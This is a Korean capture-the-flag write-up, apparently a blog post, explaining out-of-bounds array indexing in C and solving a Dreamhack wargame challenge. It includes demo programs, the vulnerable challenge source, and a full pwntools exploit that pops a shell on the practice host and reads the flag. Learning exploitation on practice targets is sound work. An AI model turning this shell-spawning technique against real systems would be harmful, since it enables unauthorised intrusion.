배열의 인덱스 주소가 배열의 범위 안에 있는지 검사하지 않는다는 점을 이용한 취약점 --> 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}
이 코드를 컴파일하여 실행하면, 인덱스를 -1과 100을 사용했음에도 불구하고, 아무런 경고 없이 여과없이 값을 출력함을 확인 할 수 있다.
OOB를 이용하면 임의의 주소에 값을 쓰는 것도 가능하다.
// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
long attending;
char *name;
long age;
};
struct Student stu[10];
int isAdmin;
int main() {
unsigned int idx;
// Exploit OOB to read the secret
puts("Who is present?");
printf("(1-10)> ");
scanf("%u", &idx);
stu[idx - 1].attending = 1;
if (isAdmin) printf("Access granted.\n");
return 0;
}
이 코드에서 만약 우리가 isAdmin이라는 변수를 1로 만들 수 있다면 Access granted가 출력될 것이다. 따라서 isAdmin 주소를 알아낸 다음, 그 stu 배열의 인덱스를 정상 범위보다 초과하여 입력하면 isAdmin변수에 접근 할 수 있을 것이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
command 배열을 oob 시켜서 /bin/sh로 접근하게 만들면 된다.
$ checksec out_of_bound
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
해당 코드는 PIE가 적용되어 있지 않기 때문에 데이터 영역의 변수들은 항상 정해진 주소에 저장된다.
이를 gdb를 이용해서 각각의 변수들의 주소를 찾고, 주소 값의 차이를 인덱스를 이용하여 접근하면 되는 문제일 것이다.
처음 name변수에 /bin/sh값을 입력하고 command 배열을 oob 시켜서 name변수에 접근하도록 하면 될 것 같다.

근데 익스플로잇이 안된다(?)
gdb를 붙여서 확인해 보니 아래와 같다.

/bin/sh이 아니라 /bin만 들어간다. 그래서 인덱스를 2 추가한 다음(8바이트를 더 오버한 다음), 원하는 주소, 즉 name변수의 주소를 넣으면 될 것 같다.
그러면 command[19 + 2] = *(name +8) = 0x804a0ac가 되므로 해당 값을 이용하면 되겠다.
따라서 최종적으로 작성한 익스플로잇 코드는 아래와 같다.
from pwn import *
p = remote("host1.dreamhack.games", 9327)
e = ELF('./out_of_bound')
payload = b'/bin/sh\x00' + p32(0x804a0ac)
p.recvuntil("name: ")
p.send(payload)
p.recvuntil("want?: ")
p.sendline(b'21')
p.interactive()
결과
/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("name: ")
/home/li-sh/Desktop/dreamhack/out_of_bound/out_of_bound.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("want?: ")
[*] Switching to interactive mode
$ ㅣㄴ
$ ls
flag
out_of_bound
$ cat flag
DH{****************************}
보호기법이 걸린 Buffer Overflow 워게임 문제들 풀다가 이런 문제를 풀면 간단한 것 같지만, 아마 이건 쉬운 문제이지 않을까 싶다. 갈 길이 더 열심히 해야겠다.
너무 멋있어요~